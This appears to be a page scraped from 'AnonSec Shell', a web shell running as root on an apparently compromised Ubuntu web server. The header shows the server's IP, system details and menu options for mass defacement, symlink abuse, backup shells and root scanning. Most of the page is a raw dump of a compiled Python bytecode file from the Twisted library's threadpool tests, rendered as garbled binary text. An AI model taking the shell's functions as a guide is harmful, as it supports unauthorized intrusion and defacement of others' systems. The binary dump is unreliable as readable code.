AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/test/__pycache__/test_threadpool.cpython-310.pyc
o

�b�U�@s�dZddlZddlZddlZddlZddlZddlmZmZddl	m
Z
mZmZm
Z
ddlmZGdd�d�Ze�e�Gdd	�d	ej�ZGd
d�dej�ZGdd
�d
e
j�ZGdd�d�ZGdd�dej�ZdS)z(
Tests for L{twisted.python.threadpool}
�N)�Team�createMemoryWorker)�context�failure�
threadable�
threadpool)�unittestc@s&eZdZdZdd�Zdd�ZdgZdS)�SynchronizationrcCs ||_||_t��|_g|_dS�N)�N�waiting�	threading�Lock�lock�runs)�selfrr�r�>/usr/lib/python3/dist-packages/twisted/test/test_threadpool.py�__init__s

zSynchronization.__init__cCs||j�d�rt|j�dst�d�|j��n|jd7_|j��|j�d�t|j�|j	kr7|j
��|j��dS)NF�g-C��6*?�)r�acquire�lenr�time�sleep�release�failures�appendrr�rrrr�runs


zSynchronization.runrN)�__name__�
__module__�__qualname__rrr�synchronizedrrrrr	s

r	c@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&S)'�ThreadPoolTestsz
    Test threadpools.
    cC�dS)zD
        Return number of seconds to wait before giving up.
        rrrrrr�
getTimeout@�zThreadPoolTests.getTimeoutcCs:td�}|D]}|�d�rdSt�d�q|�d�dS)Ni@BFg�h㈵��>z%A long time passed without succeeding)�rangerrr�fail)rr�items�irrr�_waitForLockFs
zThreadPoolTests._waitForLockcCs,t�dd�}|�|jd�|�|jd�dS)zy
        L{ThreadPool.min} and L{ThreadPool.max} are set to the values passed to
        L{ThreadPool.__init__}.
        ��N)r�
ThreadPool�assertEqual�min�max�r�poolrrr�test_attributesOszThreadPoolTests.test_attributescCszt�dd�}|��|�|j�|�t|j�d�t�dd�}|�t|j�d�|��|�|j�|�t|j�d�dS)zV
        L{ThreadPool.start} creates the minimum number of threads specified.
        rr��
N)rr/�start�
addCleanup�stopr0r�threadsr3rrr�
test_startXszThreadPoolTests.test_startcCs<t�dd�}|��|��|�d�|�t|j�d�dS)z�
        L{ThreadPool.adjustPoolsize} only modifies the pool size and does not
        start new workers while the pool is not running.
        rr�N)rr/r8r:�adjustPoolsizer0rr;r3rrr�test_adjustingWhenPoolStoppedgs

z-ThreadPoolTests.test_adjustingWhenPoolStoppedcCs�t�dd�}|��|�|j�|�|jg�dd�}Gdd�d�}|�}t�|�}t�|�}|�	||�t
��}|�	|j�|�
|���~~t��|�|��|�|��dS)z�
        Test that creating threads in the threadpool with application-level
        objects as arguments doesn't results in those objects never being
        freed, with the thread maintaining a reference to them as long as it
        exists.
        rrcS�dSr
r)�argrrr�worker�sz<ThreadPoolTests.test_threadCreationArguments.<locals>.workerc@�eZdZdS)z:ThreadPoolTests.test_threadCreationArguments.<locals>.DumbN�r r!r"rrrr�Dumb��rEN)rr/r8r9r:r0r;�weakref�ref�callInThreadr
�Event�set�waitr&�gc�collect�assertIsNone)r�tprBrE�unique�	workerRef�	uniqueRef�eventrrr�test_threadCreationArgumentsrs$

z,ThreadPoolTests.test_threadCreationArgumentscs*t�dd�}|����|j���|jg�i�t���t���g��������fdd�}�fdd�}Gdd�d����}t	�
|�}t	�
|��t	�
|��|j||||d	�~~�����
����t������������~t����|�����d����t����d
d
g�d
S)ze
        As C{test_threadCreationArguments} above, but for
        callInThreadWithCallback.
        rrcsFt�����������d<���d<�����t�|��dS)NrRrS)rMrNrLr&rKrrGrH��success�result)�onResultDone�onResultWait�refdict�	resultRefrrSrRrr�onResult�s

zVThreadPoolTests.test_threadCreationArgumentsCallInThreadWithCallback.<locals>.onResultcs��Sr
r)rA�test)rErrrB��zTThreadPoolTests.test_threadCreationArgumentsCallInThreadWithCallback.<locals>.workerc@rC)zRThreadPoolTests.test_threadCreationArgumentsCallInThreadWithCallback.<locals>.DumbNrDrrrrrE�rFrE)r^N)rr/r8r9r:r0r;r
rJrGrH�callInThreadWithCallbackrKrLr&rMrNrO�list�values)rrPr]rBrQ�onResultRefr)rErYrZr[r\rrSrRr�4test_threadCreationArgumentsCallInThreadWithCallback�s8


zDThreadPoolTests.test_threadCreationArgumentsCallInThreadWithCallbackcCsXt�dd�}|�|jd�|�|jd�t�t�|��}|�|jd�|�|jd�dS)z�
        Threadpools can be pickled and unpickled, which should preserve the
        number of threads and other parameters.
        ��N)rr/r0r1r2�pickle�loads�dumps)rr4�copyrrr�test_persistence�sz ThreadPoolTests.test_persistencecCsxd}t��}|��|�|j�t��}|��t||�}t	|�D]}|||�q!|�
|�|�|jd|j�d��dS)z�
        Test synchronization of calls made with C{method}, which should be
        one of the mechanisms of the threadpool to execute work in threads.
        r7zrun() re-entered z timesN)
rr/r8r9r:r
rrr	r(r,�assertFalser)r�methodrrPr�actorr+rrr�_threadpoolTest�s	

zThreadPoolTests._threadpoolTestcCs|�dd��S)z?
        Call C{_threadpoolTest} with C{callInThread}.
        cSs|�|j�Sr
)rIr)rPrnrrr�<lambda>sz3ThreadPoolTests.test_callInThread.<locals>.<lambda>)rorrrr�test_callInThreadsz!ThreadPoolTests.test_callInThreadcs`Gdd�dt���fdd�}t�dd�}|�|�|��|��|���}|�t|�d�dS)zi
        L{ThreadPool.callInThread} logs exceptions raised by the callable it
        is passed.
        c@rC)z<ThreadPoolTests.test_callInThreadException.<locals>.NewErrorNrDrrrr�NewErrorrFrrc����r
rr�rrrr�
raiseErrorr_z>ThreadPoolTests.test_callInThreadException.<locals>.raiseErrorrrN)	�	Exceptionrr/rIr8r:�flushLoggedErrorsr0r)rrurP�errorsrrtr�test_callInThreadExceptions

z*ThreadPoolTests.test_callInThreadExceptioncs�t������g���fdd�}t�dd�}|�|dd��|��z|���W|��n|��w|�	�d�|�
�dd�dS)	z�
        L{ThreadPool.callInThreadWithCallback} calls C{onResult} with a
        two-tuple of C{(True, result)} where C{result} is the value returned
        by the callable supplied.
        c� �����|���|�dSr
�rrrV��results�waiterrrr]5�
z?ThreadPoolTests.test_callInThreadWithCallback.<locals>.onResultrrcSr%)Nr^rrrrrrp;�z?ThreadPoolTests.test_callInThreadWithCallback.<locals>.<lambda>r^N)r
rrrr/r`r8r,r:�
assertTruer0)rr]rPrr|r�test_callInThreadWithCallback*sz-ThreadPoolTests.test_callInThreadWithCallbackcs�Gdd�dt���fdd�}t������g���fdd�}t�dd�}|�||�|��z|���W|�	�n|�	�w|�
�d�|��dtj
�|�t�dj���d	S)
z�
        L{ThreadPool.callInThreadWithCallback} calls C{onResult} with a
        two-tuple of C{(False, failure)} where C{failure} represents the
        exception raised by the callable supplied.
        c@rC)zRThreadPoolTests.test_callInThreadWithCallbackExceptionInCallback.<locals>.NewErrorNrDrrrrrrMrFrrcrsr
rrrtrrruPr_zTThreadPoolTests.test_callInThreadWithCallbackExceptionInCallback.<locals>.raiseErrorcrzr
r{rVr|rrr]XrzRThreadPoolTests.test_callInThreadWithCallbackExceptionInCallback.<locals>.onResultrrN)rvr
rrrr/r`r8r,r:rl�assertIsInstancer�Failurer��
issubclass�type)rrur]rPr)rrr}r~r�0test_callInThreadWithCallbackExceptionInCallbackFsz@ThreadPoolTests.test_callInThreadWithCallbackExceptionInCallbackcs�Gdd�dt��t��}|��g���fdd�}t�dd�}|�|dd��|�|j�|�	�z|�
|�W|��n|��w|���}|�
t|�d�|��d�|��d�d	S)
zj
        L{ThreadPool.callInThreadWithCallback} logs the exception raised by
        C{onResult}.
        c@rC)zRThreadPoolTests.test_callInThreadWithCallbackExceptionInOnResult.<locals>.NewErrorNrDrrrrrrprFrrcs��|���|����r
)rrV�rrr}rrr]xs

zRThreadPoolTests.test_callInThreadWithCallbackExceptionInOnResult.<locals>.onResultrrcSr@r
rrrrrrp~r�zRThreadPoolTests.test_callInThreadWithCallbackExceptionInOnResult.<locals>.<lambda>N)rvr
rrrr/r`rIrr8r,r:rwr0rr�rO)rr~r]rPrxrr�r�0test_callInThreadWithCallbackExceptionInOnResultjs 
z@ThreadPoolTests.test_callInThreadWithCallbackExceptionInOnResultcs�g�t�����fdd�}�fdd�}t�dd�}|�||�|��|�|j���|�	��|�
t��d�|�
�d�d�dS)	z�
        L{ThreadPool.callInThreadWithCallback} calls the function it is
        given and the C{onResult} callback in the same thread.
        cs��t��j����dSr
)rr
�current_thread�identrKrV�rT�	threadIdsrrr]�sz5ThreadPoolTests.test_callbackThread.<locals>.onResultcs��t��j�dSr
)rr
r�r�r)r�rr�func�sz1ThreadPoolTests.test_callbackThread.<locals>.funcrrr=N)r
rJrr/r`r8r9r:rLr&r0r)rr]r�rPrr�r�test_callbackThread�sz#ThreadPoolTests.test_callbackThreadcs�tj��jd}d|d<g�t�����fdd�}�fdd�}t�dd	�}|�||�|�	�|�
|j���|�
��|�t��d
�|�|�d�|�|�d	�dS)z�
        The context L{ThreadPool.callInThreadWithCallback} is invoked in is
        shared by the context the callable and C{onResult} callback are
        invoked in.
        ���zthis must be present�testingcs&tj��jd}��|����dS�Nr�)r�theContextTracker�currentContext�contextsrrK)rWrX�ctx�r�rTrrr]�s
z6ThreadPoolTests.test_callbackContext.<locals>.onResultcstj��jd}��|�dSr�)rr�r�r�r)r�)r�rrr��sz2ThreadPoolTests.test_callbackContext.<locals>.funcrrr=N)rr�r�r�r
rJrr/r`r8r9r:rLr&r0r)r�myctxr]r�rPrr�r�test_callbackContext�sz$ThreadPoolTests.test_callbackContextcCsTt��}|��t�dd�}|�|j�|��z|�|�W|�	�dS|�	�w)z�
        Work added to the threadpool before its start should be executed once
        the threadpool is started: this is ensured by trying to release a lock
        previously acquired.
        rrN)
r
rrrr/rIrr8r,r:)rr~rPrrr�test_existingWork�sz!ThreadPoolTests.test_existingWorkcst�dd�}|��|�|j�|�|jd�|�t|j�d�|�t|j	�d�t
���t
�����fdd�}|�|���
d�|�|jd�|�t|j�d�|�t|j	�d����t|j�snt�d�t|j�rd|�t|j�d�|�t|j	�d�dS)z{
        As the worker receives and completes work, it transitions between
        the working and waiting states.
        rrcs�����d�dS)Nr7)rKrLr��threadFinish�
threadWorkingrr�_thread�sz;ThreadPoolTests.test_workerStateTransition.<locals>._threadr7g����Mb@?N)rr/r8r9r:r0�workersr�waiters�workingr
rJrIrLrKrr)rr4r�rr�r�test_workerStateTransition�s(




�z*ThreadPoolTests.test_workerStateTransitionN)r r!r"�__doc__r&r,r5r<r?rUrdrkrorqryr�r�r�r�r�r�r�rrrrr$;s(		*J$#!r$c@s$eZdZdd�Zdd�Zdd�ZdS)�RaceConditionTestscs<t�dd��_t���_�j���fdd�}��|�dS)Nrr7cs�j���`dSr
)rr:rrrr�dones
z&RaceConditionTests.setUp.<locals>.done)rr/r
rJrTr8r9)rr�rrr�setUps


zRaceConditionTests.setUpcCr%)z=
        A reasonable number of seconds to time out.
        rrrrrrr&r'zRaceConditionTests.getTimeoutcCs�|��}|j�|jj�|j�|�|j��td�D]
}|j�|jj�q|j�|jj�|j�|�|j��sE|j��|�	d�dSdS)a�
        If multiple threads are waiting on an event (via blocking on something
        in a callable passed to L{threadpool.ThreadPool.callInThread}), and
        there is spare capacity in the threadpool, sending another callable
        which will cause those to un-block to
        L{threadpool.ThreadPool.callInThread} will reliably run that callable
        and un-block the blocked threads promptly.

        @note: This is not really a unit test, it is a stress-test.  You may
            need to run it with C{trial -u} to fail reliably if there is a
            problem.  It is very hard to regression-test for this particular
            bug - one where the thread pool may consider itself as having
            "enough capacity" when it really needs to spin up a new thread if
            it possibly can - in a deterministic way, since the bug can only be
            provoked by subtle race conditions.
        r6z9'set' did not run in thread; timed out waiting on 'wait'.N)
r&rrIrTrKrL�clearr(�isSetr))r�timeoutr+rrr�test_synchronizations


�z'RaceConditionTests.test_synchronizationN)r r!r"r�r&r�rrrrr��sr�c@� eZdZdZdd�Zdd�ZdS)�
MemoryPoolz
    A deterministic threadpool that uses in-memory data structures to queue
    work rather than threads to execute work.
    cOs0||_||_||_tjj|g|�Ri|��dS)a�
        Initialize this L{MemoryPool} with a test case.

        @param coordinator: a worker used to coordinate work in the L{Team}
            underlying this threadpool.
        @type coordinator: L{twisted._threads.IExclusiveWorker}

        @param failTest: A 1-argument callable taking an exception and raising
            a test-failure exception.
        @type failTest: 1-argument callable taking (L{Failure}) and raising
            L{unittest.FailTest}.

        @param newWorker: a 0-argument callable that produces a new
            L{twisted._threads.IWorker} provider on each invocation.
        @type newWorker: 0-argument callable returning
            L{twisted._threads.IWorker}.
        N)�_coordinator�	_failTest�
_newWorkerrr/r)r�coordinator�failTest�	newWorker�args�kwargsrrrr5szMemoryPool.__init__cs&���fdd�}t�j|�jd���S)a�
        Override testing hook to create a deterministic threadpool.

        @param currentLimit: A 1-argument callable which returns the current
            threadpool size limit.

        @param threadFactory: ignored in this invocation; a 0-argument callable
            that would produce a thread.

        @return: a L{Team} backed by the coordinator and worker passed to
            L{MemoryPool.__init__}.
        cs&���}|j|j��krdS���Sr
)�
statistics�busyWorkerCount�idleWorkerCountr�)�stats��currentLimitr�teamrr�respectLimitZsz&MemoryPool._pool.<locals>.respectLimit)r��createWorker�logException)rr�r�)rr��
threadFactoryr�rr�r�_poolLs	�zMemoryPool._poolN)r r!r"r�rr�rrrrr�/sr�c@r�)�
PoolHelpera
    A L{PoolHelper} constructs a L{threadpool.ThreadPool} that doesn't actually
    use threads, by using the internal interfaces in L{twisted._threads}.

    @ivar performCoordination: a 0-argument callable that will perform one unit
        of "coordination" - work involved in delegating work to other threads -
        and return L{True} if it did any work, L{False} otherwise.

    @ivar workers: the workers which represent the threads within the pool -
        the workers other than the coordinator.
    @type workers: L{list} of 2-tuple of (L{IWorker}, C{workPerformer}) where
        C{workPerformer} is a 0-argument callable like C{performCoordination}.

    @ivar threadpool: a modified L{threadpool.ThreadPool} to test.
    @type threadpool: L{MemoryPool}
    cs@t�\}�_g�_�fdd�}t||j|g|�Ri|���_dS)z�
        Create a L{PoolHelper}.

        @param testCase: a test case attached to this helper.

        @type args: The arguments passed to a L{threadpool.ThreadPool}.

        @type kwargs: The arguments passed to a L{threadpool.ThreadPool}
        cs�j�t���jddS)Nr�r)r�rrrrrrr��sz&PoolHelper.__init__.<locals>.newWorkerN)r�performCoordinationr�r�r)r)r�testCaser�r�r�r�rrrr}s
���zPoolHelper.__init__cCs|��r	|��sdSdS)z�
        Perform all currently scheduled "coordination", which is the work
        involved in delegating work to other threads.
        N)r�rrrr�performAllCoordination�s�z!PoolHelper.performAllCoordinationN)r r!r"r�rr�rrrrr�ksr�c@r�)�MemoryBackedTestszn
    Tests using L{PoolHelper} to deterministically test properties of the
    threadpool implementation.
    cCslt|dd�}d}t|�D]
}|j�dd��q|��|�|jg�|j��|��|�t|j�|�dS)z�
        If a threadpool is told to do work before starting, then upon starting
        up, it will start enough workers to handle all of the enqueued work
        that it's been given.
        rr7rcSr@r
rrrrrrp�r�z;MemoryBackedTests.test_workBeforeStarting.<locals>.<lambda>N)	r�r(rrIr�r0r�r8r�r�helper�n�xrrr�test_workBeforeStarting�s
z)MemoryBackedTests.test_workBeforeStartingcCspt|dd�}d}t|�D]
}|j�dd��q|��|�|jg�|j��|��|�t|j�|jj	�dS)z�
        If the amount of work before starting exceeds the maximum number of
        threads allowed to the threadpool, only the maximum count will be
        started.
        rr7�2cSr@r
rrrrrrp�r�zBMemoryBackedTests.test_tooMuchWorkBeforeStarting.<locals>.<lambda>N)
r�r(rrIr�r0r�r8rr2r�rrr�test_tooMuchWorkBeforeStarting�s
z0MemoryBackedTests.test_tooMuchWorkBeforeStartingN)r r!r"r�r�r�rrrrr��sr�)r�rMrgr
rrG�twisted._threadsrr�twisted.pythonrrrr�
twisted.trialrr	�synchronize�SynchronousTestCaser$r�r/r�r�r�rrrr�<module>s&
$G0<0

Anon7 - 2022
AnonSec Team